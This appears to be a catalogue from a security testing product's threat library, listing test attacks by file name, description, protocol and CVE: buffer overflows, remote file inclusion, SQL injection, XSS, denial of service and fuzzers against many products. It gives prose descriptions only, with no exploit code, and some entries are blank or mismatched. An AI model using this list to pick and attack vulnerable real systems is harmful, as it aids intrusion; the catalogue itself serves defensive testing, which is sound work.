Executive Description:	Barracuda Networks Spam Firewall Multiple Vulnerabilities (IPv6 Version)
Detailed Description:	This threat exploits a vulnerability in some Barracuda Spam Firewalls that allow for remote command-execution via GET request to the HTTPS control interface. Barracuda Spam Firewall is a firewall and its control console is a web server and typically listens on port 443. (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Standard
Threat File Name:	TSL20160614-29_Microsoft_Edge_CVE-2016-3222_Memory_Corruption.xml
Executive Description:	
Detailed Description:	
Protocol Type:	
Threat File Name:	TSL20120410-11_Microsoft_Windows_Common_Controls_MSCOMCTL_OCX_Stack_Buffer_Overflow.xml
Executive Description:	Microsoft Windows Common Controls MSCOMCTL.OCX Stack Buffer Overflow
Detailed Description:	A stack buffer overflow vulnerability exists in Microsoft Windows Common Controls. These controls are ActiveX controls contained in the MSCOMCTL.OCX file. The vulnerable ActiveX controls are MSCOMCTL.TreeView and MSCOMCTL.ListView. This vulnerability can be exploited by remote unauthenticated attackers by enticing a user to open a malicious document. Successful exploitation could result in execution of arbitrary code in the context of the currently logged on user.
Protocol Type:	HTTP,HTTPS
CVEID:	CVE-2012-0158
Threat File Name:	TSL20111213-03_Microsoft_Windows_Media_DVR-MS_File_Memory_Corruption.xml
Executive Description:	Microsoft Windows Media DVR-MS File Memory Corruption
Detailed Description:	A code execution vulnerability exists in Microsoft Windows Media Player and Windows Media Center. The vulnerability is due to an error while parsing specially crafted DVR-MS files. This vulnerability can be leveraged to inject and execute arbitrary code. Remote attackers can exploit this vulnerability by enticing target users to open a specially crafted DVR-MS file. Successful exploitation would lead to code execution in the context of the current user.
Protocol Type:	HTTP,HTTPS,IMAP,POP3,SMB/CIFS,SMTP
CVEID:	CVE-2011-3401
Threat File Name:	FSC20071011-02_CA_BrightStor_ARCserve_Backup_Message_Engine_Stack_Overflow_IPv6.xml
Executive Description:	CA BrightStor ARCserve Backup Message Engine Stack Overflow (IPv6 Version)
Detailed Description:	There exists a buffer overflow vulnerability in CA BrightStor ARCserve Backup Message Engine. The vulnerability is due to insufficient boundary checking when processing strings supplied in RPC requests. Successful exploitation of this vulnerability allows a remote unauthenticated attacker to execute arbitrary code on the vulnerable system in the context of the affected application, commonly System. (IPv6 Version)
Protocol Type:	Proprietary/IPv6
CVEID:	CVE-2007-5327
Threat Package:	Standard
Threat File Name:	TSL20150409-02_IBM_Tivoli_Storage_Manager_FastBack_Mount_Stack_Buffer_Overflow_IPv6.xml
Executive Description:	IBM Tivoli Storage Manager FastBack Mount Stack Buffer Overflow IPv6 version.
Detailed Description:	A stack buffer overflow vulnerability exists in IBM Tivoli Storage Manager FastBack Mount. The vulnerability is due to insufficient input validation of parameters to the CRYPTO_S_EncryptBufferToBuffer function. A remote unauthenticated attacker could exploit this vulnerability by sending crafted requests to port 30051/TCP. Successful exploitation results in arbitrary code execution within the context of SYSTEM. Tester should set the variable \$destPort to 30051 before test.
Protocol Type:	IBM TSM FastBack Mount.IPV6
CVEID:	CVE-2015-0120
Threat File Name:	wget_dos.xml
Executive Description:	wget <= 1.10.2 (Unchecked Boundary Condition) Denial of Service Vulnerability
Detailed Description:	This threat uses a malicious ftp server to send continuous 220 replies to consume all available resources of a computer using vulnerable wget clients. GNU Wget is a client application that connects to http and ftp servers listening on port 80 and 21 respectively.
Protocol Type:	HTTP
Threat Package:	Standard
Threat File Name:	InternetExplorerSearchXSS_IPv6.xml
Executive Description:	Internet Explorer XSS Injection Through Searchbar (IPv6 Version)
Detailed Description:	This threat attempts to insert Javascript into the search bar, causing code to be executed with full rights of the user. Can be used to steal user data or run arbitrary programs. This threat is a client attack that comes from the virtual server. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2003-0816
OSVDB:	3099
Threat Package:	Standard
Threat File Name:	FSC20090310-10_Microsoft_Windows_Kernel_GDI32_Polyline_Buffer_Overflow.xml
Executive Description:	Microsoft Windows Kernel GDI32 Polyline Buffer Overflow
Detailed Description:	A remote code execution vulnerability exists in the way that Microsoft Windows GDI component handles Enhanced Metafile (EMF) image files. A remote attacker can exploit this vulnerability by enticing the target user to open a malicious EMF file. Successful exploitation can result in buffer overflow which can lead to arbitrary code execution in kernel mode. In a successful attack case, the malicious code can be executed on the target host. The behaviour of the target depends upon the intention of the attacker. The code will be executed with the Windows kernel privileges. In a case if the attack is not successful, a system level denial-of-service will occur.
Protocol Type:	HTTP
CVEID:	CVE-2009-0081
Threat Package:	Standard
Threat File Name:	advancedclanscript_rfi_IPv6.xml
Executive Description:	AdVancedClanscript < 3.4 Remote File Inclusion Vulnerability (IPv6 Version)

Detailed Description:	This threat sends a crafted url string that will allow for arbitrary code to be executed on the affected server. AdvancedClanScript is a web application that typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2006-5061
OSVDB:	29123
Threat Package:	Standard
Threat File Name:	FSC20080212-22_Microsoft_Office_Works_File_Converter_WPS_File_Field_Length_Stack_Overflow.xml
Executive Description:	Microsoft Office Works File Converter WPS File Field Length Stack Overflow
Detailed Description:	There exists a buffer overflow vulnerability in Microsoft Works File Converter. The vulnerability is due to insufficient input validation of various field lengths while handling WPS files. A remote attacker can exploit this vulnerability by enticing the target user to open maliciously constructed files, potentially causing arbitrary code to be injected and executed in the security context of the logged-in user.
Protocol Type:	HTTP
CVEID:	CVE-2008-0108
Threat Package:	Standard
Threat File Name:	gozilla2_IPv6.xml
Executive Description:	Linksys Gozilla.cgi Denial of Service 2 (IPv6 Version)
Detailed Description:	This threat sends a URL request that is known to cause certain versions of Linksys routers to fail. (IPv6 Version)
Protocol Type:	HTTP/IPv6
OSVDB:	6655
Threat Package:	Standard
Threat File Name:	FSC20110412-12_Microsoft_Windows_Messenger_ActiveX_Control_Code_Execution_IPv6.xml
Executive Description:	Microsoft Windows GDIplus EMF handling Integer Overflow(IPv6 Version)
Detailed Description:	A code execution vulnerability exists in Microsoft Windows Messenger. The vulnerability is due to an error that can occur when the Messenger.MessengerApp ActiveX Control is passed parameters via a web page through Internet Explorer. The error may corrupt the system state in such a way that an attacker could execute arbitrary code. A remote attacker can exploit this vulnerability by enticing a target user to visit a maliciously crafted web site. In a sophisticated attack where code injection is successful, the behaviour of the target host is entirely dependent on the intended function of the injected code. The injected code, in this case, would execute within the security context of the currently logged in user. If such an attack is not executed successfully, the vulnerable application may terminate abnormally.
Protocol Type:	IPV6,HTTP,HTTPS
CVEID:	CVE-2011-1243
Threat File Name:	InternetExplorerSearchXSS2_IPv6.xml
Executive Description:	Internet Explorer Search Bar Injection (IPv6 Version)
Detailed Description:	This threat causes a XSS event to happen by loading a webpage in the search bar of Internet Explorer. This allows a malicious web site to steal user sensitive data or cause command execution. This threat is a client attack that comes from the virtual server. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2003-0816
OSVDB:	3097
Threat Package:	Standard
Threat File Name:	fenice_oms_bof_IPv6.xml
Executive Description:	Fenice OMS 1.10 (long get request) Remote Buffer Overflow Exploit (IPv6 Version)
Detailed Description:	This threat sends a crafted HTTP GET query which contains an excessively long buffer which triggers a buffer overflow situation. Fenice OMS is a web based application with typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Standard
Threat File Name:	burncms_cmi_d_IPv6.xml
Executive Description:	burnCMS <= 0.2(root)Remote File Include Vulnerabilities (IPv6 Version)
Detailed Description:	This threat demonstrates a remote file inclusion flaw against mysql.class.php's root parameter. this threat is delivered via HTTP port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Standard
Threat File Name:	FSC20080122-02_IBM_Tivoli_Provisioning_Manager_for_OS_Deployment_HTTP_Server_Buffer_Overflow_IPv6.xml
Executive Description:	IBM Tivoli Provisioning Manager for OS Deployment HTTP Server Buffer Overflow (IPv6 Version)
Detailed Description:	There exists a buffer overflow vulnerability in IBM Tivoli Provisioning Manager for OS Deployment. The flaw is due to a boundary error in the HTTP server component when processing crafted HTTP requests. A remote unauthenticated attacker may leverage this vulnerability to create a denial of service condition of the affected service, or inject and execute arbitrary code on the target host with privileges of the affected service. (IPv6 Version)
Protocol Type:	HTTPS/IPv6
CVEID:	CVE-2008-0401
Threat Package:	Standard
Threat File Name:	phpnuke_sqli_b_IPv6.xml
Executive Description:	PHPNuke "description" field SQL Injection Vulnerabilities (IPv6 Version)
Detailed Description:	This threat sends a crafted URL that contains an SQL statement that is executed by the server. PHPNukie is a web application that typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2005-3304
OSVDB:	20292
Threat File Name:	apple_ichat_fmtstr_IPv6.xml
Executive Description:	Apple iChat aim:// URL Handler Format String Vulnerability (IPv6 Version)

Detailed Description:	This threat uses a malicious web server to cause a denial of service and possibly execute arbitrary code in Apple iChat 3.1.6 via format string specifiers in an aim:// URI. (IPv6 Version)
Protocol Type:	HTTP,ICQ,IPv6
CVEID:	CVE-2007-0021
Threat Package:	Standard
Threat File Name:	sipinvitebadschemefrom_IPv6.xml
Executive Description:	SIP INVITE Bad Scheme From: Field (IPv6 Version)
Detailed Description:	This threat sends out a SIP INVITE message with a From: field using a name: URI. This can confuse or crash a PBX that is not very robust. (IPv6 Version)
Protocol Type:	SIP/IPv6
Threat Package:	VoIP
Threat File Name:	FSC20100209-04_Microsoft_Office_PowerPoint_File_Path_Handling_Buffer_Overflow.xml
Executive Description:	Microsoft Office PowerPoint File Path Handling Buffer Overflow
Detailed Description:	A stack buffer overflow vulnerability exists in Microsoft Office PowerPoint. The vulnerability is due to the way that the vulnerable application handles specially crafted file paths. This vulnerability may be exploited by remote unauthenticated attackers by enticing a user to open a maliciously crafted file. In attack scenarios where code execution is successful the behaviour of the target machine is completely dependent on the intention of the injected code, which will run in the security context of the currently logged in user. In cases where code execution is not successful the affected product may terminate abnormally.
Protocol Type:	HTTP/HTTPS/FTP/IMAP/POP3/SMB/CIFS/SMTP
CVEID:	CVE-2010-0029
Threat Package:	Standard
Threat File Name:	hpdced_IPv6.xml
Executive Description:	HP dced buffer overflow (IPv6 Version)
Detailed Description:	This threat sends a small fragment length followed by a large buffer. This causes a buffer overflow in the dce endpoint mapper for HP-UX. This daemon typically listens on port 135. (IPv6 Version)
Protocol Type:	DCOM/IPv6
CVEID:	CVE-2004-0716
OSVDB:	8188
Threat Package:	Standard
Threat File Name:	FSC20091125-01_Symantec_Multiple_Products_AeXNSConsoleUtilities_Buffer_Overflow.xml
Executive Description:	Symantec Multiple Products AeXNSConsoleUtilities Buffer Overflow
Detailed Description:	A stack buffer overflow vulnerability exists in multiple Symantec products. The vulnerability is due to an error in the AeXNSConsoleUtilities.dll ActiveX control when processing an overly long argument passed to the RunCmd method. This vulnerability can be exploited by remote unauthenticated attackers to execute arbitrary code on the target system by enticing a user into visiting a specially crafted web page. In an attack scenario, where arbitrary code is injected and executed on the target system, the behaviour of the target is dependent on the intention of the malicious code. The injected code will be run with privileges of the currently logged on user. If such an attack is not executed successfully, the vulnerable application may terminate as a result of invalid memory access.
Protocol Type:	HTTP/HTTPS
CVEID:	CVE-2009-3033
Threat Package:	Standard
Threat File Name:	FSC20040504-03_Serv-U_LIST_parameter_Buffer_Overrun.xml
Executive Description:	Serv-U LIST parameter Buffer Overrun
Detailed Description:	Serv-U FTP server, a popular Windows FTP server, is vulnerable to a buffer overrun. Serv-U FTP server versions 5.0.0.4 and below do not correctly validate input when an FTP LIST or NLST command is run with long malformed parameters. An attack using this vulnerability can crash the remote FTP service on the remote target.
Protocol Type:	FTP
CVEID:	CVE-2004-1992
Threat Package:	Standard
Threat File Name:	catalyst_remote_reload_Dos_IPv6.xml
Executive Description:	Cisco Catalyst CR Denial of Service (IPv6 Version)
Detailed Description:	This threat sends a Carriage Return as its payload. This will cause a denial of service if sent to port 1761 on some Cisco Catalyst systems. (IPv6 Version)
Protocol Type:	Proprietary/IPv6
CVEID:	CVE-1999-0430
OSVDB:	1103
Threat Package:	Standard
Threat File Name:	FSC20080212-10_Microsoft_Windows_WebDAV_Mini-Redirector_Heap_Buffer_Overflow.xml
Executive Description:	Microsoft Windows WebDAV Mini-Redirector Heap Buffer Overflow
Detailed Description:	A vulnerability has been reported in the WebDAV Mini-Redirector component of Microsoft Windows. The flaw can be triggered during the processing of WebDAV responses, causing a heap overflow. An attacker can exploit this vulnerability by persuading the target user to connect to a malicious WebDAV server. A successful attack could lead to arbitrary code execution in the SYSTEM security context.
Protocol Type:	HTTP
CVEID:	CVE-2008-0080
Threat Package:	Standard
Threat File Name:	deluxeBB_rfi.xml
Executive Description:	DeluxeBB Remote file include vulnerability
Detailed Description:	This threat sends a crafted url string that will allow for arbitrary code to be executed on the affected server. DeluxeBB is a web application that typically listens on port 80
Protocol Type:	HTTP
CVEID:	CVE-2006-2914
OSVDB:	26458
Threat Package:	Standard
Threat File Name:	TSL20120306-04_Adobe_Flash_Player_MP4_File_Memory_Corruption.xml
Executive Description:	Adobe Flash Player MP4 File Memory Corruption

Detailed Description:	A memory corruption vulnerability exists in Adobe Flash Player. The vulnerability is due to insufficient validation of a user-supplied length value when parsing MP4 files, which leads to an integer wraparound. A remote attacker could exploit this vulnerability by enticing a user to open a malicious MP4 file. Successful exploitation of this vulnerability would lead to execution of arbitrary code in the security context of the target user.
Protocol Type:	HTTP,HTTPS
CVEID:	CVE-2012-0754
OSVDB:	79300
Threat File Name:	vistered_file_disclosure.xml
Executive Description:	Vistered Little 1.6a Remote File Disclosure Vulnerability
Detailed Description:	This threat uses a specially crafted HTTP GET request to return any file on the affected web server resulting in information disclosure and theft of credentials. Vistered Little is a web application that typically can be found listening on port 80.
Protocol Type:	HTTP
CVEID:	CVE-2007-2934
Threat Package:	Standard
Threat File Name:	mediagallery_geeklog_cmi.xml
Executive Description:	Media Gallery for Geeklog <= 1.4.8a Remote File Inclusion Vulnerability
Detailed Description:	This threat sends a crafted url string that will allow for arbitrary code to be executed on the affected server. Media Gallery for Geeklog is a web application that typically listens on port 80.
Protocol Type:	HTTP
CVEID:	CVE-2007-2706
Threat Package:	Standard
Threat File Name:	assetman_dirtransversal.xml
Executive Description:	AssetMan PDF_File Parameter Directory Traversal Vulnerability
Detailed Description:	This threat sends a crafted url string that will allow for arbitrary files to be read on the affected server. AssetMan is a web application that typically listens on port 80.
Protocol Type:	HTTP
CVEID:	CVE-2007-1427
Threat Package:	Standard
Threat File Name:	TSL20120608-07_IBM_Lotus_iNotes_dwa85W_dll_ActiveX_Control_Buffer_Overflow.xml
Executive Description:	IBM Lotus iNotes dwa85W.dll ActiveX Control Buffer OverflowActiveX Control Buffer Overflow
Detailed Description:	A buffer overflow vulnerability exists in IBM Lotus iNotes. The vulnerability is due to a boundary error within the dwa85W.dll ActiveX control when setting the property Attachment_Times with an overly long string.A remote attacker can exploit this vulnerability by enticing a target user to view crafted web content. A successful exploitation attempt may result in the execution of arbitrary code in the security context of the target user's browser.
Protocol Type:	HTTP,HTTPS
CVEID:	CVE-2012-2175
OSVDB:	82755
Threat File Name:	InternetExplorerScriptHandler.xml
Executive Description:	Internet Explorer Script Handler Attack
Detailed Description:	This threat causes a heap overflow in the javascript handling code of Internet Explorer. It causes a crash, and can possibly be used to achieve code execution. This attack is an attack on the client and comes from the virtual server. This attack would typically come from a malicious website listening on port 80.
Protocol Type:	HTTP
OSVDB:	23964
Threat Package:	Standard
Threat File Name:	TSL20120928-04_Trend_Micro_Control_Manager_ad_hoc_query_Module_SQL_Injection_IPv6.xml
Executive Description:	Trend Micro Control Manager ad hoc query Module SQL Injection(IPv6_Version)
Detailed Description:	An SQL injection vulnerability exists in Trend Micro Control Manager. The vulnerability is due to insufficient input validation on user queries by the ad hoc query module. A remote, authenticated attacker could exploit this vulnerability by sending crafted "id" parameter in the GET request for AdHocQuery_Processor.aspx page. A successful exploitation attempt could result in the execution of SQL commands under the context of the SYSTEM user.
Protocol Type:	IPv6.HTTP,HTTPS
CVEID:	CVE-2012-2998
OSVDB:	85807
Threat File Name:	TSL20170111-03_HPE_Operations_Orchestration_Insecure_Deserialization.xml
Executive Description:	HPE Operations Orchestration Insecure Deserialization
Detailed Description:	An insecure deserialization vulnerability has been reported in HPE Operations Orchestration. The vulnerability is due to the deserialization of untrusted data in several servlets used for backwards compatibility with older API versions. A remote, unauthenticated attacker can exploit this vulnerability by sending crafted serialized data to the target application. Successful exploitation could result in arbitrary code execution in the context of the application.
Protocol Type:	HTTP, HTTPS
CVEID:	CVE-2016-8519
Threat File Name:	prorat_bof_IPv6.xml
Executive Description:	ProRat Buffer Overflow (IPv6 Version)
Detailed Description:	This attack causes a buffer overflow in the ProRat Remote Access tool. ProRat is a remote access tool used by hackers to control victim computers. This can flaw can allow another hacker to break in. ProRat server typically listens on port 5110. (IPv6 Version)
Protocol Type:	Proprietary/IPv6
Threat Package:	Standard
Threat File Name:	TSL20160119-23_Oracle_Application_Testing_Suite_DownloadServlet_reportName_Directory_Traversal.xml

Executive Description:	Oracle Application Testing Suite DownloadServlet reportName Directory Traversal
Detailed Description:	A directory traversal vulnerability exists in the in Oracle's Application Testing Suite. The vulnerability is due to insufficient input validation while processing HTTP requests to the "/olt/download" URI. A remote unauthenticated attacker can exploit this vulnerability by sending a malicious request to the vulnerable server. Successful exploitation results in arbitrary file download from the target server.
Protocol Type:	HTTP
CVEID:	CVE-2016-0476
Threat File Name:	FSC20040804-01_Mozilla_SOAPParameter_Integer_Overflow_Vulnerability_IPv6.xml
Executive Description:	Mozilla SOAPParameter Integer Overflow Vulnerability (IPv6 Version)
Detailed Description:	A vulnerability exists in several versions of the Mozilla and Netscape browsers' implementation of the Simple Object Access Protocol (SOAP). A specially crafted HTML page containing script code that leverages this vulnerability can allow an attacker to crash a client's browser application, or potentially introduce arbitrary code into the process flow, compromising the system. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2004-0722
Threat Package:	Standard
Threat File Name:	googleapp_cmi_IPv6.xml
Executive Description:	Google Appliance ProxyStyleSheet Command Execution (IPv6 Version)
Detailed Description:	This threat sends a crafted HTTP Request with with a modified URL string containing a URL path to a remote file that can be executed. The google search appliance is an application running on a hardware appliance that typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2005-3758
OSVDB:	20981
Threat Package:	Standard
Threat File Name:	fuzz-HTTP-CONNECT_PrepndHTTPWithformatn.xml
Executive Description:	Fuzz HTTP CONNECT with Request-URI prepended with %n
Detailed Description:	Fuzzes the Request-URI field by prepending %n
Protocol Type:	HTTP
Threat Package:	Fuzzing
Threat File Name:	FSC20070425-14_Apple_QuickTime_MOV_File_JVTCompEncodeFrame_Heap_Overflow_IPv6.xml
Executive Description:	Apple QuickTime MOV File JVTCompEncodeFrame Heap Overflow (IPv6 Version)
Detailed Description:	There exists a heap-based buffer overflow vulnerability in Apple QuickTime. The flaw is due to insufficient bounds checking in the "JVTCompEncodeFrame()" function when processing malformed MOV files. Successful exploitation allows remote attackers to execute arbitrary code under the context of the currently logged-in user. Assurent has not been able to identify the affected MPEG-4 data object associated with this vulnerability within the 24-hour research period. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2007-2295
Threat Package:	Standard
Threat File Name:	FSC20090609-06_Microsoft_Windows_2000_Active_Directory_LDAP_Parsing_Memory_Corruption.xml
Executive Description:	Microsoft Windows 2000 Active Directory LDAP Parsing Memory Corruption
Detailed Description:	A memory corruption vulnerability exists in Microsoft Windows 2000 Server Active Directory Service. The vulnerability is due to incorrect memory management when processing crafted LDAP or LDAPS requests. A remote unauthenticated attacker can exploit this vulnerability by sending malicious messages to the LDAP server. In an attack case where code injection is successful, the behaviour of the target is entirely dependent on the intended function of the injected code. The code in such a case would execute within the security context of the SYSTEM account. In an attack case where code injection is not successful, the LSASS process will terminate abnormally, causing the system to halt or restart.
Protocol Type:	LDAP/LDAPS
CVEID:	CVE-2009-1138
Threat Package:	Standard
Threat File Name:	fxscanner_icmp_IPv6.xml
Executive Description:	FX Scanner ICMP Scan (IPv6 Version)
Detailed Description:	This threat mimics the ICMP packet sent out by the popular vulnerability scanner FX Scanner. Contained within the ICMP payload are the characters hello???. This can be used to identify malicious scanning before it occurs. (IPv6 Version)
Protocol Type:	ICMP/IPv6
Threat Package:	Standard
Threat File Name:	TSL20121009-19_Adobe_Flash_Player_OP_inclocal_and_OP_declocal_Memory_Corruption_IPv6.xml
Executive Description:	Adobe Flash Player OP_inclocal and OP_declocal Memory Corruption(IPv6_Version)
Detailed Description:	A memory corruption vulnerability has been reported in Adobe Flash Player. The vulnerability is due to memory access without bounds checking while verifying OP_inclocal and OP_declocal opcodes. remote, unauthenticated attacker could exploit this vulnerability by enticing a target user to open a Flash file with an affected version of Adobe Flash Player. Successful exploitation would result in execution of arbitrary code in the security context of the affected application.
Protocol Type:	IPv6,HTTP,HTTPS,IMAP,POP3,SMTP,SMB/CIFS,NFS
CVEID:	CVE-2012-5271
OSVDB:	86048
Threat File Name:	TSL20170314-30_Microsoft_Edge_ProfiredLdElem_Type_Confusion_IPv6.xml
Executive Description:	Microsoft Edge ProfiredLdElem Type Confusion (IPv6 Version)
Detailed Description:	A type confusion vulnerability has been reported in Microsoft Edge. This vulnerability is due to improper objects access in memory in ProfiredLdElem() function. A remote attacker could exploit these vulnerabilities by enticing the target user to open a specially crafted web page. Successful exploitation could lead to arbitrary code execution in the security context of the target user.
Protocol Type:	HTTP,HTTPS,IPv6
CVEID:	CVE-2017-0071
Threat File Name:	wmf_extEscape.xml
Executive Description:	Microsoft GRE ExtEscape Memory Corruption

Detailed Description:	This attack corrupts the memory of Microsoft's picture and fax viewer application. This version simply causes a crash, however it might be possible through manipulation of the heap to create an exploit out of this flaw. This flaw is different from CVE-2006-0106. This attack comes from a webserver, which typically listens on port 80. This is a client side attack that comes from the virtual server.
Protocol Type:	HTTP
CVEID:	CVE-2006-0143
OSVDB:	22396
Threat Package:	Standard
Threat File Name:	eva-web_rfi.xml
Executive Description:	EVA-Web 1.1<= 2.2 (index.php3) Remote File Inclusion Vulnerability
Detailed Description:	This threat sends a crafted url string that will allow for arbitrary code to be executed on the affected server. Eva-Web is a web application that typically listens on port 80.
Protocol Type:	HTTP
CVEID:	CVE-2006-2690
Threat Package:	Standard
Threat File Name:	fuzz-TFTP_OpCode_IPv6.xml
Executive Description:	TFTP Fuzzer fuzz-TFTP_OpCode.xml (IPv6 Version)
Detailed Description:	Fuzzes OpCode field by ranging through all possible values. (IPv6 Version)
Protocol Type:	TFTP/IPv6
Threat Package:	Fuzzing
Threat File Name:	mpcs_rfi.xml
Executive Description:	Multi-Page Comment System Path Parameter Remote File Include Vulnerability
Detailed Description:	This threat sends a crafted url string that will allow for arbitrary code to be executed on the affected server. MPCs is a web application that typically listens on port 80.
Protocol Type:	HTTP
CVEID:	CVE-2006-5624
Threat Package:	Standard
Threat File Name:	radiusAuthFormat_IPv6.xml
Executive Description:	RADIUS Authentication Flood (IPv6 Version)
Detailed Description:	This threat sends a properly formatted RADIUS Authentication Request. The goal here is to deny service to legitimate RADIUS authentication requests through flooding the server. (IPv6 Version)
Protocol Type:	RADIUS/IPv6
Threat Package:	Standard
Threat File Name:	fuzz-TFTP_Filename_formats_RRQ_IPv6.xml
Executive Description:	TFTP Fuzzer fuzz-TFTP_Filename_formats_RRQ.xml (IPv6 Version)
Detailed Description:	Fuzzes Filename field by appending one or more of %s to the filename. OpCode is RRQ (IPv6 Version)
Protocol Type:	TFTP/IPv6
Threat Package:	Fuzzing
Threat File Name:	pollmentor_sqli_IPv6.xml
Executive Description:	PollMentor 2.0 (pollmentorres.asp id) SQL Injection Vulnerability (IPv6 Version)
Detailed Description:	This threat sends a crafted URL that contains an SQL query which is executed by the server. PollMentor is a web application that typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2007-0984
Threat Package:	Standard
Threat File Name:	TSL20141111-23_Microsoft_Windows_SChannel_Buffer_Overflow_IPv6.xml
Executive Description:	Microsoft Windows SChannel Buffer Overflow IPv6 version.
Detailed Description:	A remote code execution vulnerability exists in Microsoft SChannel. The vulnerability is due to improper processing of specially crafted packets that leads to a buffer overflow. A remote, unauthenticated attacker can exploit this vulnerability by sending specially crafted packets to the target machine. Successful exploitation could result in arbitrary code execution on the affected system. Tester should set variable \$destport to 443 before test.
Protocol Type:	TLS/DTLS/HTTPS/SMTP/SMTPS.IPV6
CVEID:	CVE-2014-6321
OSVDB:	114506
Threat File Name:	enjoysap_rfcguisink_activex_bof_IPv6.xml
Executive Description:	EnjoySAP ActiveX rfcguisink.rfcguisink.1 Remote Stack Overflow Vulnerability (IPv6 Version)
Detailed Description:	This threat downloads a malicious web page which triggers a buffer overflow in the SAP EnjoySAP ActiveX rfcguisink.rfcguisink.1 application, resulting in the overwriting of arbitrary files. This threat is delivered via HTTP port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2007-3606
Threat Package:	Standard
Threat File Name:	FSC20100330-02_Microsoft_Internet_Explorer_Uninitialized_Memory_Corruption.xml
Executive Description:	Microsoft Internet Explorer Uninitialized Memory Corruption
Detailed Description:	A memory corruption vulnerability exists in Microsoft Internet Explorer. The vulnerability is due the way that Internet Explorer handles certain type of mouse movement events. A remote attacker can exploit this vulnerability by enticing a target user to open a maliciously crafted HTML document. In a sophisticated attack where code injection is successful, the behaviour of the target host is entirely dependent on the logic of the injected code. The injected code, in this case, would execute within the security context of the currently logged in user. If such an attack is not executed successfully, the vulnerable application may terminate abnormally.
Protocol Type:	HTTP/HTTPS
CVEID:	CVE-2010-0267
Threat Package:	Standard

Threat File Name:	ms_explorer_gif_dos_IPv6.xml
Executive Description:	MS Windows Explorer.exe Gif Image Denial of Service Vulnerability (IPv6 Version)
Detailed Description:	This threat uses a malformed GIF image file to cause Windows Explorer to crash, effectively denying service. The GIF payload is delivered via a web server listening on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2007-3958
Threat Package:	Standard
Threat File Name:	barcodewiz2_IPv6.xml
Executive Description:	BarCodeWiz ActiveX Control 2.0 (BarcodeWiz.dll) Remote Buffer Overflow Exploit (IPv6 Version)
Detailed Description:	This threat downloads a malicious script which exploits a buffer overflow in BarCodeWiz's activex component through the "Verify" argument. This threat is delivered via HTTP port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Standard
Threat File Name:	FSC20060502-12_MySQL_COM_TABLE_DUMP_Function_Stack_Overflow.xml
Executive Description:	MySQL COM_TABLE_DUMP Function Stack Overflow
Detailed Description:	A stack buffer overflow vulnerability exists in the MySQL database server product. The flaw is created by improperly implemented boundary checks on incoming user input. An authenticated attacker with limited privileges may exploit this issue to execute arbitrary code on the vulnerable host within the context of the server process.
Protocol Type:	Proprietary
Threat Package:	Standard
Threat File Name:	etherealDISTCC.xml
Executive Description:	Ethereal DISTCC Stack Overflow
Detailed Description:	This threat causes the Ethereal packet dissector to crash when parsing DISTCC packets. This can be used to run remote code on the sniffing application.
Protocol Type:	DISTCC
CVEID:	CVE-2005-1461
OSVDB:	16097
Threat Package:	Standard
Threat File Name:	TSL20130208-02_Adoe_Flash_Player_Regular_Expression_Heap_Buffer_Overflow.xml
Executive Description:	Adobe Flash Player Regular Expression Heap Buffer Overflow
Detailed Description:	A heap buffer overflow vulnerability exists in Adobe Flash Player. The vulnerability is due to an error when processing regular expressions that could allow a remote attacker to inject and execute arbitrary code on the affected system. A remote attacker can exploit this vulnerability by enticing a user to download and view a malicious file. This vulnerability is being exploited in the wild in targeted attacks via a Flash (.swf) file embedded in a Microsoft Word (.doc) file delivered as an email attachment.
Protocol Type:	HTTP,HTTPS,IMAP,POP3,SMB/CIFS,SMTP,NFS
CVEID:	CVE-2013-0633
OSVDB:	89936
Threat File Name:	FSC20100330-02_Microsoft_Internet_Explorer_Uninitialized_Memory_Corruption_IPv6.xml
Executive Description:	Microsoft Internet Explorer Uninitialized Memory Corruption (IPv6 Version)
Detailed Description:	A memory corruption vulnerability exists in Microsoft Internet Explorer. The vulnerability is due the way that Internet Explorer handles certain type of mouse movement events. A remote attacker can exploit this vulnerability by enticing a target user to open a maliciously crafted HTML document. In a sophisticated attack where code injection is successful, the behaviour of the target host is entirely dependent on the logic of the injected code. The injected code, in this case, would execute within the security context of the currently logged in user. If such an attack is not executed successfully, the vulnerable application may terminate abnormally. (IPv6 Version)
Protocol Type:	HTTP/HTTPS/IPv6
CVEID:	CVE-2010-0267
Threat Package:	Standard
Threat File Name:	FSC20101216-05_HP_Power_Manager_Administration_Web_Server_Stack_Buffer_Overflow.xml
Executive Description:	HP Power Manager Administration Web Server Stack Buffer Overflow
Detailed Description:	A buffer overflow vulnerability exists within HP Power Manager. This vulnerability may be exploited by remote unauthenticated attackers to cause execution of arbitrary code on the target system. In an attack scenario where code execution is successful the injected code will be executed within the security context of the SYSTEM user. An unsuccessful exploit attempt may abnormally terminate the affected application
Protocol Type:	HTTP,HTTPS
CVEID:	CVE-2010-4113
Threat File Name:	TSL20160913-35_Microsoft_Internet_Explorer_and_Edge_CVE-2016-3247_Memory_Corruption.xml
Executive Description:	Microsoft Internet Explorer and Edge CVE-2016-3247 Memory Corruption
Detailed Description:	A memory corruption vulnerability has been reported in Microsoft Internet Explorer and Edge. This vulnerability is due to improper access of objects in memory. A remote attacker could exploit this vulnerability by enticing the target user to open a specially crafted web page. Successful exploitation could lead to arbitrary code execution under the security context of the target user.
Protocol Type:	HTTP, HTTPS
CVEID:	CVE-2016-3247
Threat File Name:	FSC20060601-04_Microsoft_Internet_Explorer_MHTML_URI_Buffer_Overflow.xml
Executive Description:	Microsoft Internet Explorer MHTML URI Buffer Overflow
